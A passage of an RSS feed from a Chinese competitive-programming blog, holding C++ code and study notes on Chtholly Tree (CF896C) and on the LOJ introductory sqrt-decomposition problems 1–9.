        b[i].premax[0] = b[i].sufmax[b[i].ed + 1 - b[i].st + 1] = LLONG_MIN;
        b[i].premin[0] = b[i].sufmin[b[i].ed + 1 - b[i].st + 1] = LLONG_MAX;
        for (int j = b[i].st; j &amp;lt;= b[i].ed; j++) {
            bel[j] = i;
            b[i].premax[j - b[i].st + 1] = max(b[i].premax[j - b[i].st], a[j]);
            b[i].premin[j - b[i].st + 1] = min(b[i].premin[j - b[i].st], a[j]);
        }
        for (int j = b[i].ed; j &amp;gt;= b[i].st; j--) {
            b[i].sufmax[j - b[i].st + 1] = max(b[i].sufmax[j - b[i].st + 2], a[j]);
            b[i].sufmin[j - b[i].st + 1] = min(b[i].sufmin[j - b[i].st + 2], a[j]);
        }
    }
    return;
}
pair&amp;lt;int, int&amp;gt; query(int l, int r) {
    int minv = LLONG_MAX, maxv = LLONG_MIN;
    minv = min(minv, b[bel[l]].sufmin[l - b[bel[l]].st + 1]);
    minv = min(minv, b[bel[r]].premin[r - b[bel[r]].st + 1]);
    maxv = max(maxv, b[bel[l]].sufmax[l - b[bel[l]].st + 1]);
    maxv = max(maxv, b[bel[r]].premax[r - b[bel[r]].st + 1]);
    return make_pair(minv, maxv);
}

pair&amp;lt;int, int&amp;gt; ans[maxn];

signed main() {
    cin &amp;gt;&amp;gt; n &amp;gt;&amp;gt; l;
    for (int i = 1; i &amp;lt;= n; i++) {
        cin &amp;gt;&amp;gt; a[i];
    }
    if (l == 1) {
        for (int i = 1; i &amp;lt;= n; i++) {
            cout &amp;lt;&amp;lt; a[i] &amp;lt;&amp;lt; &apos; &apos;;
        }
        cout &amp;lt;&amp;lt; endl;
        for (int i = 1; i &amp;lt;= n; i++) {
            cout &amp;lt;&amp;lt; a[i] &amp;lt;&amp;lt; &apos; &apos;;
        }
        cout &amp;lt;&amp;lt; endl;
        return 0;
    }
    init();
    int cnt = 0;
    for (int i = 1; i + l - 1 &amp;lt;= n; i++) {
        ans[++cnt] = query(i, i + l - 1);
    }
    for (int i = 1; i &amp;lt;= cnt; i++) {
        cout &amp;lt;&amp;lt; ans[i].first &amp;lt;&amp;lt; &apos; &apos;;
    }
    cout &amp;lt;&amp;lt; endl;
    for (int i = 1; i &amp;lt;= cnt; i++) {
        cout &amp;lt;&amp;lt; ans[i].second &amp;lt;&amp;lt; &apos; &apos;;
    }
    cout &amp;lt;&amp;lt; endl;
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>珂朵莉树学习笔记</title><link>https://blog.mitufun.top/posts/%E7%8F%82%E6%9C%B5%E8%8E%89%E6%A0%91%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</link><guid isPermaLink="true">https://blog.mitufun.top/posts/%E7%8F%82%E6%9C%B5%E8%8E%89%E6%A0%91%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</guid><description>珂朵莉树学习笔记</description><pubDate>Thu, 28 Apr 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;我们以 CF896C 为模板来介绍珂朵莉树&lt;/p&gt;
&lt;h3&gt;珂朵莉树的实现&lt;/h3&gt;
&lt;p&gt;看题可得，有一个操作会导致一片区间内值相等。因此我们自然能想到，如果把这一段区间看成一个点，那么自然就可以节省很多力。&lt;/p&gt;
&lt;h4&gt;储存珂朵莉树&lt;/h4&gt;
&lt;p&gt;我们用一个结构体来作为珂朵莉树的结点：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;struct node {
    int l, r;
    mutable int v;
    bool operator&amp;lt; (const node&amp;amp; rhs) const {
        return this-&amp;gt;l &amp;lt; rhs.l;
    }
    node(int ll, int rr, int vv) {
        l = ll, r = rr, v = vv;
    }
    node(int ll) {
        l = ll;
    }
};
set&amp;lt;node&amp;gt; s;
#define IT set&amp;lt;node&amp;gt;::iterator
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个结构体中 $l$ 和 $r$ 分别对应该结点所对应的左区间和右区间，$v$ 是当前区间的值。注意，$v$ 需要被 $\text{mutable}$ 关键字修饰，这样才能在 $s$ 中用迭代器修改。随后重载小于号，并写出两个构造函数。我们用一个储存 $\text{node}$ 的 $\text{set}$ 来储存珂朵莉树。&lt;/p&gt;
&lt;h4&gt;分裂函数&lt;/h4&gt;
&lt;p&gt;但是，我们很容易发现：在进行查询的时候，我们不能保证查询的区间端点一定在结构体结点中，因此需要一个可以查找区间左右端点，获取到需要进行操作的区间，这便引出了下面的分裂函数：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;IT split(int pos) {
    IT it = s.lower_bound(node(pos));
    if (it != s.end() &amp;amp;&amp;amp; it-&amp;gt;l == pos) {
        return it;
    }
    it--;
    int l = it-&amp;gt;l, r = it-&amp;gt;r, v = it-&amp;gt;v;
    s.erase(it);
    s.insert(node(l, pos - 1, v));
    return s.insert(node(pos, r, v)).first;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;推平函数&lt;/h4&gt;
&lt;p&gt;如果没有推平操作的话，珂朵莉树就会退化为暴力。因此，推平操作是珂朵莉树不可或缺的一部分。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void assign(int l, int r, int v) {
    IT itr = split(r + 1), itl = split(l);
    s.erase(itl, itr);
    s.insert(node(l, r, v));
    return;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这段代码很好理解，首先获得左端点和右端点迭代器，**注意，一定要先获取右端点再获取左端点，否则会出错。**然后用 $\text{set}$ 的 $\text{erase}$ 函数删除从左端点到右端点内的所有结点，最后再插入进去一个对应区间的结点。由于数据是随机的，所以 $\text{assign}$ 操作会占到 $25%$ 的情况以上。我们可以写一个随机生成数据的代码，可以发现，珂朵莉树的结点数大约到达了 $\log$ 级别，而且速度很快。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;珂朵莉树的高效是由随机的 $\text{assign}$ 操作保证的。&lt;/strong&gt;&lt;/p&gt;
&lt;h4&gt;添加函数&lt;/h4&gt;
&lt;p&gt;十分简单，直接暴力即可。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void add(int l, int r, int v) {
    IT itr = split(r + 1), itl = split(l);
    for (IT it = itl; it != itr; it++) {
        it-&amp;gt;v += v;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意，如果你结构体中 $v$ 并不是一个被 $\text{mutable}$ 关键字修饰的变量，那这里就会报错。&lt;/p&gt;
&lt;h4&gt;区间第 $k$ 小&lt;/h4&gt;
&lt;p&gt;同样，先提取区间，用一个 $\text{vector}$ 存区间内所有值，然后暴力查值即可。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int kth(int l, int r, int k) {
    IT itr = split(r + 1), itl = split(l);
    vector&amp;lt;pair&amp;lt;int, int&amp;gt;&amp;gt; v; //first 存对应的值，second 存区间元素个数
    v.clear();
    for (IT it = itl;it != itr;it++) {
        v.push_back(make_pair(it-&amp;gt;v, it-&amp;gt;r - it-&amp;gt;l + 1));
    }
    sort(v.begin(), v.end());
    for (int i = 0;i &amp;lt; v.size();i++) {
        k -= v[i].second;
        if (k &amp;lt;= 0) {
            return v[i].first;
        }
    }
    return -1;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;区间幂次和&lt;/h4&gt;
&lt;p&gt;很简单，写个快速幂暴力即可。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int qpow(int a, int b, int m) {
    int ans = 1;
    a %= m;
    while (b) {
        if (b &amp;amp; 1) {
            ans = (ans * a) % m;
        }
        a = (a * a) % m;
        b &amp;gt;&amp;gt;= 1;
    }
    return ans;
}
int query(int l, int r, int x, int y) {
    IT itr = split(r + 1), itl = split(l);
    int res = 0;
    for (IT it = itl;it != itr;it++) {
        res = (res + (it-&amp;gt;r - it-&amp;gt;l + 1) * qpow(it-&amp;gt;v, x, y)) % y;
    }
    return res;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;总体代码&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;algorithm&amp;gt;
#include &amp;lt;iostream&amp;gt;
#include &amp;lt;set&amp;gt;
#include &amp;lt;vector&amp;gt;
using namespace std;

#define int long long

struct node {
    int l, r;
    mutable int v;
    node(int ll, int rr, int vv) { l = ll, r = rr, v = vv; }
    node(int ll) { l = ll; }
    bool operator&amp;lt;(const node&amp;amp; rhs) const { return l &amp;lt; rhs.l; }
};
#define IT set&amp;lt;node&amp;gt;::iterator
set&amp;lt;node&amp;gt; s;

IT split(int pos) {
    IT it = s.lower_bound(node(pos));
    if (it != s.end() &amp;amp;&amp;amp; it-&amp;gt;l == pos) {
        return it;
    }
    it--;
    int l = it-&amp;gt;l, r = it-&amp;gt;r, v = it-&amp;gt;v;
    s.erase(it);
    s.insert(node(l, pos - 1, v));
    return s.insert(node(pos, r, v)).first;
}
void assign(int l, int r, int v) {
    IT itr = split(r + 1), itl = split(l);
    s.erase(itl, itr);
    s.insert(node(l, r, v));
}
void add(int l, int r, int v) {
    IT itr = split(r + 1), itl = split(l);
    for (IT it = itl; it != itr; it++) {
        it-&amp;gt;v += v;
    }
}
int kth(int l, int r, int k) {
    IT itr = split(r + 1), itl = split(l);
    vector&amp;lt;pair&amp;lt;int, int&amp;gt;&amp;gt; vec;
    vec.clear();
    for (IT it = itl; it != itr; it++) {
        vec.push_back(make_pair(it-&amp;gt;v, it-&amp;gt;r - it-&amp;gt;l + 1));
    }
    sort(vec.begin(), vec.end());
    for (int i = 0; i &amp;lt; vec.size(); i++) {
        k -= vec[i].second;
        if (k &amp;lt;= 0) {
            return vec[i].first;
        }
    }
    return -1;
}
int qpow(int a, int b, int y) {
    int res = 1;
    a %= y;
    while (b) {
        if (b &amp;amp; 1) {
            res = (res * a) % y;
        }
        a = (a * a) % y;
        b &amp;gt;&amp;gt;= 1;
    }
    return res;
}
int query(int l, int r, int x, int y) {
    IT itr = split(r + 1), itl = split(l);
    int res = 0;
    for (IT it = itl; it != itr; it++) {
        res = (res + (it-&amp;gt;r - it-&amp;gt;l + 1) * qpow(it-&amp;gt;v, x, y)) % y;
    }
    return res;
}

int seed, n, m, vmax;
int rnd() {
    int ret = (signed)seed;
    seed = (seed * 7 + 13) % 1000000007;
    return ret;
}
signed main() {
    ios::sync_with_stdio(0), cin.tie(0);
    cin &amp;gt;&amp;gt; n &amp;gt;&amp;gt; m &amp;gt;&amp;gt; seed &amp;gt;&amp;gt; vmax;
    for (int i = 1; i &amp;lt;= n; i++) {
        int v = (rnd() % vmax) + 1;
        s.insert(node(i, i, v));
    }
    for (int i = 1; i &amp;lt;= m; i++) {
        int opt = (rnd() % 4) + 1;
        int l = (rnd() % n) + 1;
        int r = (rnd() % n) + 1;
        int x, y;
        if (l &amp;gt; r) {
            swap(l, r);
        }
        if (opt == 3) {
            x = (rnd() % (r - l + 1)) + 1;
        } else {
            x = (rnd() % vmax) + 1;
        }
        if (opt == 4) {
            y = (rnd() % vmax) + 1;
        }

        // Comment
        if (opt == 1) {
            add(l, r, x);
        }
        if (opt == 2) {
            assign(l, r, x);
        }
        if (opt == 3) {
            cout &amp;lt;&amp;lt; kth(l, r, x) &amp;lt;&amp;lt; endl;
        }
        if (opt == 4) {
            cout &amp;lt;&amp;lt; query(l, r, x, y) &amp;lt;&amp;lt; endl;
        }
    }
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>入门分块 1-9 笔记</title><link>https://blog.mitufun.top/posts/%E5%85%A5%E9%97%A8%E5%88%86%E5%9D%97-1-9-%E7%AC%94%E8%AE%B0/</link><guid isPermaLink="true">https://blog.mitufun.top/posts/%E5%85%A5%E9%97%A8%E5%88%86%E5%9D%97-1-9-%E7%AC%94%E8%AE%B0/</guid><pubDate>Sat, 09 Apr 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;:::info&lt;/p&gt;
&lt;p&gt;此为本人于 2022-04-09 初次发表在 洛谷 的内容，迁移至此。&lt;a href=&quot;https://www.luogu.com.cn/article/za8chwdy&quot;&gt;阅读原文&lt;/a&gt;（好像现在洛谷博客限制站外访问了）&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;h3&gt;分块 1&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://loj.ac/p/6277&quot;&gt;题目链接&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;操作涉及区间加法，单点查值。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这个还算比较板子的。&lt;/p&gt;
&lt;p&gt;零散块暴力，整块加上一个 $\text{tag}$，但是貌似这道题里面块的值并不重要。&lt;/p&gt;
&lt;p&gt;最后答案就是 $a_x+b[bel_x].tag$&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.luogu.com.cn/paste/uy6qq9x3&quot;&gt;代码实现&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;分块 2&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://loj.ac/p/6278&quot;&gt;题目链接&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;操作涉及区间加法，询问区间内小于某个值 $x$ 的元素个数。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;很板子，但是调了 2 天才调出来，是整块处理的时候出错了。&lt;/p&gt;
&lt;p&gt;题目要求我们计算小于 $c^2$ 的数的数量，如果我们直接进行暴力从块的开始到末尾扫一遍的话，这样会很容易被卡成 $\mathcal{O}(n^2)$ 的，所以我们考虑二分。&lt;/p&gt;
&lt;p&gt;很显然，给出的序列未必是单调的。因此，我们每个块内都要单独储存这个块内数值的信息，然后进行排序。初始化的时候也要进行排序。&lt;/p&gt;
&lt;p&gt;对于整块而言，修改后没有必要进行排序，因为是整个块内的值都增加 $c$，所以块内的值互相的大小关系没有变化，所以不需要更新。&lt;/p&gt;
&lt;p&gt;对于零散块而言，暴力即可。对于整块而言，可以直接二分。&lt;/p&gt;
&lt;p&gt;之所以我调了两天，就是因为处理整块的时候，第 $i$ 个块被我认为成了是第 $i$ 个元素，然后在进行查询块内的值的时候加上了一个 $bel_i$，导致错误。&lt;/p&gt;
&lt;p&gt;简化思路就是：块内排序，查询时二分，零散块暴力。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.luogu.com.cn/paste/qioogoqe&quot;&gt;代码实现&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;类似的题可以去写 &lt;a href=&quot;https://www.luogu.com.cn/problem/P2801&quot;&gt;P2801 教主的魔法&lt;/a&gt;，LOJ 这道题数据过弱，甚至纯暴力都能过。&lt;/p&gt;
&lt;h3&gt;分块 3&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://loj.ac/p/6279&quot;&gt;题目链接&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;操作涉及区间加法，询问区间内小于某个值 $x$ 的前驱（比其小的最大元素）。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我们看到比某一个数更小的最大数，很容易想到二分。整块排序，然后再用 lower_bound 找到块内第一个比 $x$ 大的值，然后将下标 $-1$ 就是这个块内 $x$ 的前驱。注意这里如果 lower_bound 找到的下标为 $0$，则表示这个块里面没有比 $x$ 更小的数了，continue 掉这个块即可。&lt;/p&gt;
&lt;p&gt;然后对于零散块，暴力找到比 $x$ 小的最大值，最后判一下答案合不合法即可。&lt;/p&gt;
&lt;p&gt;简化思路就是：块内排序，查询时二分找下标，零散块暴力。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.luogu.com.cn/paste/h186r612&quot;&gt;代码实现&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;分块 4&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://loj.ac/p/6280&quot;&gt;题目链接&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;操作涉及区间加法，区间求和。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我觉得这是除了分块 1 以外最简单的一道了，但是还是调了一段时间（主要是忘记初始化块了）。&lt;/p&gt;
&lt;p&gt;然后对于这道题而言，每个块存储一个 $\text{val}$ 表示这个块内之和，然后加上一个懒惰标记 $\text{tag}$。注意，这里的 $\text{tag}$ 是表示块内 单个值 的懒惰标记，而不是整个块。&lt;/p&gt;
&lt;p&gt;那么对于零散块而言，可以直接暴力求和，第 $i$ 个数的值就是 $a_i+b[\text{bel}_i].\text{tag}$。然后整块的话，就是块的值再加上懒惰标记乘上块长。&lt;/p&gt;
&lt;p&gt;然后，其实这道题的代码也可以通过分块 1。因为对于单独一个数 $x$，可以看成是区间 $[x,x]$ 内的和。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.luogu.com.cn/paste/u4514awi&quot;&gt;代码实现&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;分块 5&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://loj.ac/p/6281&quot;&gt;题目链接&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;操作涉及区间开方，区间求和。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这道题有点思维难度。首先，你会发现一个很严重的问题：$\sqrt{a}+\sqrt{b}\ne \sqrt{a+b}$，不能直接用懒惰标记了。&lt;/p&gt;
&lt;p&gt;我们很容易发现，对于一个数不断开方，会十分迅速地退化为 $0$ 或 $1$。而且 $0$ 和 $1$ 开方都是等于他本身，再对他们进行操作就是浪费时间。&lt;/p&gt;
&lt;p&gt;因此，我们块内需要额外储存一个当前块内最大值。只有在当前块内最大值大于 $1$ 的时候再执行操作，否则不用管即可。注意每次操作完成后都要更新最大值。&lt;/p&gt;
&lt;p&gt;然后洛谷 &lt;a href=&quot;https://www.luogu.com.cn/problem/P4145&quot;&gt;P4145 上帝造题的七分钟 2 / 花神游历各国&lt;/a&gt; 和这道题一样，可以作为练习。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.luogu.com.cn/paste/tri7cqzp&quot;&gt;代码实现&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;分块 6&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://loj.ac/p/6282&quot;&gt;题目链接&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;操作涉及单点插入，单点询问，数据随机生成。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这道题我本来想用 vector 暴力做法当做对拍使得，想交一下测一下正确性，结果不小心过了。&lt;a href=&quot;https://www.luogu.com.cn/paste/fvaxzk30&quot;&gt;代码实现&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;分块以后写，还不会（&lt;/p&gt;
&lt;h3&gt;分块 7&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://loj.ac/p/6283&quot;&gt;题目链接&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;操作涉及区间乘法，区间加法，单点询问。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;首先，我们发现查询操作很简单，不需要进行过多的考虑，但是修改操作略显繁琐。&lt;/p&gt;
&lt;p&gt;我们修改需要维护两种操作：区间乘和区间加。我们可以在块内创建两个标记，一个是区间乘标记 $\text{mul}$，另一个区间加标记 $\text{add}$。初始的时候 $\text{mul=1,add=0}$。&lt;/p&gt;
&lt;p&gt;对于区间乘，发现对于块内的一个值 $x$，实际的值应该是：&lt;/p&gt;
&lt;p&gt;$$(x\times \text{mul})+\text{add}$$&lt;/p&gt;
&lt;p&gt;但如果乘上了一个数 $c$，则原式变为了：&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
&amp;amp;c(x\times \text{mul})+c\times\text{add}\
=&amp;amp;(x\times (c\times\text{mul}))+c\times\text{add}
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;即将乘法标记乘上 $c$，同时也将累加标记加上 $c$。&lt;/p&gt;
&lt;p&gt;对于区间加，如果加上了一个数 $c$，则原式变为了：&lt;/p&gt;
&lt;p&gt;$$
(x\times \text{mul})+\text{add}+c
$$&lt;/p&gt;
&lt;p&gt;即不对乘法标记进行修改，只将加法标记加上一个 $c$。&lt;/p&gt;
&lt;p&gt;对于零散块，会发现，如果没有将标记下传而直接修改实际值是错误的。例如，对于一个值 $x$，如果不下传标记而直接区间乘 $c$ 就会变为：&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
&amp;amp;(x\times c)\times \text{mul}+\text{add}\
\ne&amp;amp;((x\times \text{mul})+\text{add})\times c
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;而区间加 $c$ 就会变为：&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
&amp;amp;(x+c)\times\text{mul}+\text{add}\
\ne&amp;amp;((x\times \text{mul})+\text{add})+c
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;因此，对于零散块而言，需要将标记下传到块内的每一个值。&lt;/p&gt;
&lt;p&gt;最后说一下，记得及时取模。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.luogu.com.cn/paste/ceh1rr0c&quot;&gt;代码实现&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;分块 8&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://loj.ac/p/6284&quot;&gt;题目链接&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;操作涉及区间询问等于一个数 $c$ 的元素，并将这个区间的所有元素改为 $c$。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;先是看到有区间推平，想到了珂朵莉树，然后不小心过了。&lt;a href=&quot;https://www.luogu.com.cn/paste/i6ihbpy0&quot;&gt;代码实现&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;然后这题的珂朵莉树貌似是卡不掉的，因为推平操作和查询操作绑定在了一起，推平操作一定占到了总操作数的 $50%$，所以应该算是正解。&lt;/p&gt;
&lt;p&gt;&lt;s&gt;分块等会写&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;update 2022.5.1：放假了，终于把分块做法补上了。&lt;/p&gt;
&lt;p&gt;观察题目，发现对于 $50%$ 的询问，都会将一个区间变为一个相同的数，而且，数据范围很大，所以势必会让一段区间内每个数字都相等。如果仍然暴力计算数字相等区间内的答案，那么将会花费很多时间。&lt;/p&gt;
&lt;p&gt;这里我们可以往块内增加一个属性 $\text{flag}$ 和 $\text{tag}$，其中 $\text{flag}$ 是个 $\text{bool}$ 变量，储存着当前块管辖的区间内是否每个值都相等，$\text{tag}$ 是个 $\text{int}$ 变量，储存着如果 $\text{flag}$ 为 $\text{true}$，那么区间内每个值都是多少。&lt;/p&gt;
&lt;p&gt;可以想到，对于整块而言，如果标记为 $\text{true}$，那么直接将答案加上块内元素数量，否则暴力；对于零散块而言，直接暴力，注意，要将块内的 $\text{tag}$ 下传到实际的值，如果直接使用原数组内的 $a_i$ 是错误的，因为在修改的时候是直接修改覆盖到的块的 $\text{tag}$ 和 $\text{flag}$，并不会对块内实际值做出改变。&lt;/p&gt;
&lt;p&gt;然后对于修改，零散块暴力，注意下传标记，整块改 $\text{flag}$ 和 $\text{tag}$。&lt;/p&gt;
&lt;p&gt;解决！&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.luogu.com.cn/paste/qnhz37at&quot;&gt;代码实现&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;分块 9&lt;/h3&gt;
</content:encoded></item></channel></rss>